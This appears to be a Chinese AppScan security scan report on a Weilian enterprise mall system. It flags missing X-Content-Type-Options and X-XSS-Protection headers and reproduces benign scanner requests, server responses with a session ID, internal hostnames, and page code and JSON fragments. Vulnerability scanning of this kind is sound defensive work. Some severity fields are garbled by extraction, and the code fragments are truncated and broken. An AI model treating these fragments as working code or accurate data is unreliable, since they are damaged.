         <div class="block-title">
          <h2>资产信息</h2>
          </div>
          <!-- END Table Styles Title -->
         <div id="gcl-goodstree table">
         </div>
         </div>
       </div>
       <!-- 右侧结束 -->
    </div>
</div>
<script type="text/javascript">
    //初始化列表
    $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
       var tableHeight = ($(document).height() - 295) + "px"; //表格的属性对象,用于初始化表格的设置
       //var goodsURL =goodsURL;
         goodsURL="http://test.vr.weilian.cn:40884/";
//
        var option = {
         height: tableHeight,
          search: {
               placeHolder:"搜索资产编码、资产名称"
          tools: false,
         handleCol:false, //屏蔽操作列
         url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
```

```
// 表格的头部,有多少列,就写多少
         columns: [{
filed: "资产编码",
         name: "goodscode"
         }, {
         filed: "拼音码",
         name: "opcode"
         }, {
         filed: "资产名称",
         name: "goodsname"
         filed: "规格",
         name: "goodsspec"
         }, {
         filed: "型号",
         name: "goodsmodel"
         }, {
         filed: "资产分类",
         name: "classname"
         }, {
         filed: "产地",
         name: "prodarea"
         }, {
         filed: "状态",
         name: "status"
         filed: "品牌",
         name: "brandname"
         filed: "财务编码",
         name: "barcode"
         }, {
         filed: "上限",
         name: "stupperlimit"
         filed: "下限",
         name: "stlowerlimit"
         filed: "大类码标记",
         name: "classcodeflag"
         }, {
         filed: "登记人",
         name: "inputmanname"
         }, {
         filed: "登记时间",
         name: "bookindate"
         }, {
         filed: "id",
         name: "goodsid"
         columnDefs: [{ //隐藏列,序号+
         "targets": [3,8,12,13,14,17],
"visible": false
         }, {
         render: function(data, type, row) { // 格式化 列
         return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
         }, { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         //return "<pp keyword=PUB_BASIC_NEW_STATUS>" + data + "</pp>"
              if(data==1){
                      return "正常";
               }else if(data==2){
                      return "冻结";
               }else{
                       return "";
         },
         targets: [9]
         { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         if(data==undefined || data==null){
. . .
. . .
```

问题 **3 / 4** TOC

缺少"X-Content-Type-Options"头	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodscontrolList.html
实体:	goodscontrolList.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"X-Content-Type-Options"头

差异:

推理: AppScan 检测到 X-Content-Type-Options 响应头缺失,这可能会更大程度得暴露于偷渡式下载攻击之下

测试请求和响应:

```
OPTIONS /static/goodscontrolList.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 17906
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #goodscontrol-table td {
       text-align: center;
        line-height: 28px;
    #goodscontrol-table th {
       text-align: center;
       line-height: 28px;
</style>
<div class="row">
   <div class="col-xs-12">
       <div id="goodscontrol-table"></div>
    </div>
</div>
```

```
<!--查询模板-->
<script id="goodscontrol_searchTempl" type="text/html">
   <div id="ins-search" class="from table con">
      <div class="form-group">
       <div>
       <form method="post" id="goodscontrolsearchForm" role="form">
       资产编码
       <input type="text" class="form-control goods se entry" name="goodscode"</pre>
       id="goodscontrolcode"
       autocomplete="off"/>
       <input type="hidden" name="goodsid" id="goodscontrolid"/>
       资产名称
       <input type="text" class="form-control" name="goodsname" id="goodsname"/>
       上下架状态
       <select id="goodscontrolselect" name="status" class="form-control" type="text">
       <option value>--请选择--</option>
       <option value='2'>待上架</option>
       <option value='1'>上架</option>
       <option value='0'>下架</option>
       </select>
       </form>
       </div>
      </div>
   </div>
</script>
<!--查询模板-->
<div class="form-group">
       <div>
       <form method="post" id="on_goods_form" role="form">
       <!-- <td>上架时间
       <input type="text" class="form-control " id="od begindate" name="begindate"</pre>
       value="">
       下架时间
       <input type="text" class="form-control " id="od enddate" name="enddate"</pre>
       value="">
       -->
                                     确认上架
       </form>
       </div>
      </div>
   </div>
</script>
<script type="text/javascript">
   //初始化js
 $(function () {
```

```
//var goodsURL = "http://test.vr.weilian.cn:40884/";
var goodsURLs = goodsURL;
//初始化上下架管理列表
var option = {
 plusBtn: [{
 id: "queryGoodscontrolBtn",
text: "查询",
 clazz: "btn btn-primary btn-sm",
 iconClass: "fa fa-grav"
  },{
  id: "onGoodscontrolBtn",
 text: "上架",
 clazz: "btn btn-primary btn-sm", iconClass: "fa fa-grav"
  },{
 id: "offGoodscontrolBtn",
  text: "下架",
  clazz: "btn btn-primary btn-sm",
 iconClass: "fa fa-grav"
 //自定义按钮绑定事件
 onInit: function () {
```

问题 **4** / **4** Toc

缺少"X-Content-Type-Options"头	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/ditionary/List
实体:	List (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"X-Content-Type-Options"头

差异:

推理: AppScan 检测到 X-Content-Type-Options 响应头缺失,这可能会更大程度得暴露于偷渡式下载攻击之下

测试请求和响应:

```
GET /ditionary/List HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                {
"": [
                                 "id": 2039,
                                  "ddlid": 0,
                                  "keyword": "",
                                  "ddlname": "",
                                   "usestatus": 1,
                                   "note": ""
                                 "id": 2040,
                                  "ddlid": 1,
                                  "keyword": "",
"ddlname": "",
                                   "usestatus": 1,
                                   "note": ""
                                 "id": 2041,
                                  "ddlid": 5689,
                                   "keyword": "",
                                  "ddlname": "",
                                   "usestatus": 0,
                                   "note": ""
                                   "id": 2042,
                                  "ddlid": 5321,
                                   "keyword": "",
                                   "ddlname": "",
                                   "usestatus": 0,
                                   "note": ""
                                 "id": 2044,
                                  "ddlid": 333,
                                  "keyword": "",
                                  "ddlname": "",
                                   "usestatus": 0,
                                   "note": ""
                          }
                                   "id": 99999995,
                                  "ddlid": 2,
                                  "keyword": "",
"ddlname": "
                                                      待服务",
                                   "usestatus": 1,
                                   "note": null
                  "PUB GOODSCLASS LEVEL": [
                                 "id": 125,
                                   "ddlid": 1,
                                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 一级",
                                   "usestatus": 1,
                                   "note": "
                                                商品分类级别A"
                                   "ddlid": 2,
                                   "keyword": "PUB GOODSCLASS LEVEL",
```

```
"id": 466,
                 "ddlid": 3,
"keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 三级",
                 "usestatus": 1,
                 "note": "
                                商品分类级别A"
                  "id": 569,
                 "ddlid": 4,
"keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 四级",
                  "usestatus": 1,
                 "note": "
                                 商品分类级别A"
                  "id": 647,
                 "ddlid": 5,
                 "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 五级",
                 "usestatus": 1,
                  "note": "
                               商品分类级别A"
                  "id": 990,
                 "ddlid": 0,
"keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 零级",
                  "usestatus": 1,
                 "note": "
                                 商品分类级别A"
"SP TR DISPATCH ROUTE": [
                "id": 274,
                  "ddlid": 1,
                 "keyword": "SP_TR_DISPATCH_ROUTE",
"ddlname": " 南线",
                 "usestatus": 1,
                 "note": "
"SP SA RT GT BANKCARD BANKCARDID": [
               "id": 1246,
                 "ddlid": 111,
                 "keyword": "SP_SA_RT_GT_BANKCARDID",
"ddlname": "中国银行",
                 "ddlname":
"usestatus": 1,
" 银行A"
         }
                  "id": 1247,
                 "ddlid": 112,
                 "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID",
"ddlname": " 农业银行",
                                     "ddlname :
"usestatus": 1,
" 银行A"
                "id": 1248,
                 "ddlid": 113,
                 "keyword": "SP_SA_RT_GT_BANKCARDID",
"ddlname": " 工商银行",
                                     工商银行",
                 "usestatus": 1,
"note": "银行A"
"PUB TIMETYPE": [
                  "id": 138,
                  "ddlid": 1,
                  "keyword": "PUB TIMETYPE",
```

```
"ddlname": " 我方入库时间",
"usestatus": 1,
"note": " 补充协议时间类型A"
                                    "id": 329,
                                    厂方出货时间",
                                    "usestatus": 1,
"note": " 补充协议时间类型A"
                  "BBB": [
                                   "id": 2035,
                                    "ddlid": 888,
                                    "keyword": "BBB",
"ddlname": "ccc",
                                    "usestatus": 0,
                                    "note": "ddd"
                  "SALECANCELMONEYSTATUS": [
                                   "id": 99999002,
                                    "ddlid": 0,
                                    "keyword": "SALECANCELMONEYSTATUS",
"ddlname": "退款中",
                                    "id": 99999003,
                                    "ddlid": 1,
                                    "keyword": "SALECANCELMONEYSTATUS",
"ddlname": " 已退款",
                                    "ddlname":
"usestatus": 1,
"。" 退款单退款状态"
                                  "id": 99999005,
                                    "ddlid": 2,
                                    "keyword": "SALECANCELMONEYSTATUS",
                                    "ddlname":
"usestatus": 1,
" -+a": " 退款单退款状态"
                                    "ddlname": "
                                                       退款失败",
                                  "id": 99999006,
                                    "ddlid": 3,
                                    "keyword": "SALECANCELMONEYSTATUS",
"ddlname": "退款成功",
                                    "usestatus": 1,
"note": "退款单退款状态"
                           }
                                    "id": 99999007,
                                    "ddlid": 4,
                                    "keyword": "SALECANCELMONEYSTATUS",
"ddlname": " 待退款",
                                    "ddlname".
"usestatus": 1,
"·" 退款单退款状态"
                  "SP INVOICE TYPE": [
                                 "id": 52,
                                    "ddlid": 0,
                                    "keyword": "SP_INVOICE_TYPE",
                                            А
. . .
```

问题 **1 / 4** Toc

缺少"X-XSS-Protection"头	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	(Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"X-XSS-Protection"头

差异:

推理: AppScan 检测到 X-XSS-Protection 响应头缺失,这可能会造成跨站点脚本编制攻击 测试请求和响应:

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
   <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
```

```
<meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Tcons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120";
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    </div>
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
     <!-- Login Title -->
```

问题 **2** / **4** TOC

缺少"X-XSS-Protection"头	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodscontrolList.html
实体:	goodscontrolList.html (Page)
	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"X-XSS-Protection"头

差异:

推理: AppScan 检测到 X-XSS-Protection 响应头缺失,这可能会造成跨站点脚本编制攻击 测试请求和响应:

```
OPTIONS /static/goodscontrolList.html HTTP/1.1
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
 Access-Control-Request-Method: GET
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/57.0.2987.133 Safari/537.36
 Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
 Connection: keep-alive
 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
 Accept: */*
 {\tt Access-Control-Request-Headers: sessionid}
 Accept-Language: en-US, en; q=0.8
 HTTP/1.1 200 OK
 Content-Length: 17906
 Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 Server: openresty
 Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
 Access-Control-Allow-Origin: *
 X-Hit-Server: nginx-2
 Connection: keep-alive
 Date: Fri, 12 Jan 2018 03:10:45 GMT
<stvle>
```

```
#goodscontrol-table td {
       text-align: center;
      line-height: 28px;
   #goodscontrol-table th {
      text-align: center;
      line-height: 28px;
</style>
<div class="row">
   <div class="col-xs-12">
      <div id="goodscontrol-table"></div>
   </div>
</div>
<!--查询模板-->
<script id="goodscontrol_searchTempl" type="text/html">
   <div id="ins-search" class="from table con">
      <div class="form-group">
        <form method="post" id="goodscontrolsearchForm" role="form">
        <+r>
        资产编码
        >
        <input type="text" class="form-control goods se entry" name="goodscode"</pre>
        id="goodscontrolcode"
        autocomplete="off"/>
        <input type="hidden" name="goodsid" id="goodscontrolid"/>
        资产名称
        <input type="text" class="form-control" name="goodsname" id="goodsname"/>
        上下架状态
        <select id="goodscontrolselect" name="status" class="form-control" type="text">
        <option value>--请选择--
        <option value='2'>待上架</option>
        <option value='1'>上架</option>
        <option value='0'>下架</option>
        </select>
        </form>
        </div>
       </div>
   </div>
</script>
<!--查询模板-->
<div class="form-group">
        <div>
        <form method="post" id="on_goods_form" role="form">

        <!-- <td>上架时间
        <input type="text" class="form-control " id="od begindate" name="begindate"</pre>
        value="">
        下架时间
        <input type="text" class="form-control " id="od enddate" name="enddate"</pre>
        value="">
        -->
```

```
 确认上架
            </form>
            </div>
         </div>
    </div>
</script>
<script type="text/javascript">
     //初始化js
     $(function () {
         //var goodsURL = "http://test.vr.weilian.cn:40884/";
var goodsURLs = goodsURL;
//初始化上下架管理列表
         var option = {
           plusBtn: [{
           patusbui: "queryGoodscontrolBtn",
text: "查询",
clazz: "btn btn-primary btn-sm",
iconClass: "fa fa-grav"
            },{
id: "onGoodscontrolBtn",
            text: "上架",
clazz: "btn btn-primary btn-sm",
            iconClass: "fa fa-grav"
            },{
            id: "offGoodscontrolBtn",
            text: "下架",
clazz: "btn btn-primary btn-sm",
iconClass: "fa fa-grav"
            //自定义按钮绑定事件
            onInit: function () {
```

问题 **3 / 4** Toc

缺少"X-XSS-Protection"头	
严重性:	€
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodstree.html
实体:	goodstree.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"X-XSS-Protection"头

变体-|1/2

差异:

推理: AppScan 检测到 X-XSS-Protection 响应头缺失,这可能会造成跨站点脚本编制攻击测试请求和响应:

```
GET /static/goodstree.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: text/html, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 12614
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #gcl-goodstree_table td {
       text-align: center;
       line-height: 28px;
    #gcl-goodstree_table th {
       text-align: center;
       line-height: 28px;
</style>
<div class="newpage-con padding-10">
   <div class="row">
        <!-- 左侧开始 -->
       <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
         <div class="block-title">
         <h4>资产分类树</h4>
         </div>
         <!--<div id="companylist tree" class="tree list"></div>-->
         </div>
       </div>
       <!-- 左侧结束 -->
       <!-- 右侧开始 -->
       <div class="col-xs-9">
         <div class="block full">
         <!-- Table Styles Title -->
         <div class="block-title">
         <h2>资产信息</h2>
         </div>
         <!-- END Table Styles Title -->
         <div id="gcl-goodstree_table">
         </div>
         </div>
       </div>
       <!-- 右侧结束 -->
   </div>
</div>
<script type="text/javascript">
    //初始化列表
   $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
       var tableHeight = ($(document).height() - 295) + "px";
        //表格的属性对象,用于初始化表格的设置
      //var goodsURL =goodsURL;
// goodsURL="http://test.vr.weilian.cn:40884/";
```

```
var option = {
  height: tableHeight,
       placeHolder:"搜索资产编码、资产名称"
  tools: false,
  handleCol:false, //屏蔽操作列
  url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
  // 表格的头部,有多少列,就写多少
  columns: [{
  filed: "资产编码",
  name: "goodscode"
  }, {
  filed: "拼音码",
  name: "opcode"
  }, {
  filed: "资产名称",
  name: "goodsname"
  }, {
  filed: "规格",
  name: "goodsspec"
  }, {
  filed: "型号",
  name: "goodsmodel"
  filed: "资产分类",
  name: "classname"
  }, {
  filed: "产地",
  name: "prodarea"
  }, {
  filed: "状态",
  name: "status"
  filed: "品牌",
  name: "brandname"
  filed: "财务编码",
  name: "barcode"
  }, {
  filed: "上限",
  name: "stupperlimit"
  }, {
  filed: "下限",
  name: "stlowerlimit"
  }, {
  filed: "大类码标记",
  name: "classcodeflag"
  filed: "登记人",
  name: "inputmanname"
  }, {
  filed: "登记时间",
  name: "bookindate"
  }, {
  filed: "id",
  name: "goodsid"
  }],
  columnDefs: [{ //隐藏列,序号+
  "targets": [3,8,12,13,14,17],
"visible": false
  }, {
  render: function(data, type, row) { // 格式化 列
  return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
  targets: [16]
  }, { // 渲染列 格式化
  render: function(data, type, row) { // 格式化 列
  //return "<pp keyword=PUB_BASIC_NEW_STATUS>" + data + "</pp>"
       if(data==1){
               return "正常";
        }else if(data==2){
              return "冻结";
        }else{
               return "";
```

```
targets: [9]
},
{ // 渲染列 格式化
render: function(data, type, row) { // 格式化 列
if(data==undefined || data==null) {
return ""
}else {
...
...
```

变体-|2/2

差异:

推理: AppScan 检测到 X-XSS-Protection 响应头缺失,这可能会造成跨站点脚本编制攻击测试请求和响应:

```
OPTIONS /static/goodstree.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 12614
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
    #gcl-goodstree table td {
       text-align: center;
       line-height: 28px;
    #gcl-goodstree_table th {
       text-align: center;
        line-height: 28px;
</style>
<div class="newpage-con padding-10">
   <div class="row">
        <!-- 左侧开始 -->
        <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
          <div class="block-title">
         <h4>资产分类树</h4>
         <!--<div id="companylist tree" class="tree list"></div>-->
         </div>
        </div>
        <!-- 左侧结束 -->
        <!-- 右侧开始 -->
        <div class="col-xs-9">
         <div class="block full">
         <!-- Table Styles Title -->
```

```
<div class="block-title">
          <h2>资产信息</h2>
          <!-- END Table Styles Title -->
         <div id="gcl-goodstree table">
          </div>
         </div>
        </div>
        <!-- 右侧结束 -->
    </div>
</div>
<script type="text/javascript">
    //初始化列表
    $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
       var tableHeight = ($(document).height() - 295) + "px";
        //表格的属性对象,用于初始化表格的设置
       //var goodsURL =goodsURL;
//
         goodsURL="http://test.vr.weilian.cn:40884/";
        var option = {
         height: tableHeight,
          search: {
               placeHolder:"搜索资产编码、资产名称"
          },
          tools: false,
         handleCol:false, //屏蔽操作列
url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
          // 表格的头部,有多少列,就写多少
          columns: [{
          filed: "资产编码",
          name: "goodscode"
          }, {
filed: "拼音码",
          name: "opcode"
          filed: "资产名称",
          name: "goodsname"
          }, {
          filed: "规格",
          name: "goodsspec"
          }, {
          filed: "型号",
          name: "goodsmodel"
          filed: "资产分类",
          name: "classname"
          }, {
          filed: "产地",
          name: "prodarea"
          }, {
          filed: "状态",
          name: "status"
          filed: "品牌",
          name: "brandname"
          }, {
          filed: "财务编码",
          name: "barcode"
          }, {
          filed: "上限",
          name: "stupperlimit"
          filed: "下限",
          name: "stlowerlimit"
          }, {
          filed: "大类码标记",
          name: "classcodeflag"
          filed: "登记人",
          name: "inputmanname"
          filed: "登记时间",
```

```
name: "bookindate"
filed: "id",
name: "goodsid"
}],
columnDefs: [{ //隐藏列,序号+ "targets": [3,8,12,13,14,17], "visible": false
render: function(data, type, row) { // 格式化 列
return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
targets: [16]
}, { // 渲染列 格式化
render: function(data, type, row) { // 格式化 列 //return "<pp keyword=PUB_BASIC_NEW_STATUS>" + data + "</pp>"
      if(data==1){
                return "正常";
       }else if(data==2){
               return "冻结";
       }else{
                return "";
},
targets: [9]
{ // 渲染列 格式化
render: function(data, type, row) { // 格式化 列
if(data==undefined || data==null){
```

问题 **4** / **4** Toc

缺少"X-XSS-Protection"头	
严重性:	ft.
CVSS 分数:	5.0
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/ditionary/List
实体:	List (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"X-XSS-Protection"头

差异:

推理: AppScan 检测到 X-XSS-Protection 响应头缺失,这可能会造成跨站点脚本编制攻击测试请求和响应:

```
GET /ditionary/List HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
```

```
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                {
"": [
                                 "id": 2039,
                                 "ddlid": 0,
"keyword": "",
                                  "ddlname": "",
                                  "usestatus": 1,
                                  "note": ""
                                 "id": 2040,
                                  "ddlid": 1,
                                  "keyword": "",
                                  "ddlname": "",
                                  "usestatus": 1,
                                  "note": ""
                                 "id": 2041,
                                  "ddlid": 5689,
                                  "keyword": "",
                                  "ddlname": "",
                                  "usestatus": 0,
                                  "note": ""
                                 "id": 2042,
                                  "ddlid": 5321,
                                  "keyword": "",
                                  "ddlname": "",
                                  "usestatus": 0,
                                  "note": ""
                                 "id": 2044,
                                  "ddlid": 333,
                                  "keyword": "",
                                  "ddlname": "",
                                  "usestatus": 0,
                                  "note": ""
                                 "id": 99999995,
                                  "ddlid": 2,
"keyword": "",
"ddlname": "
                                                      待服务",
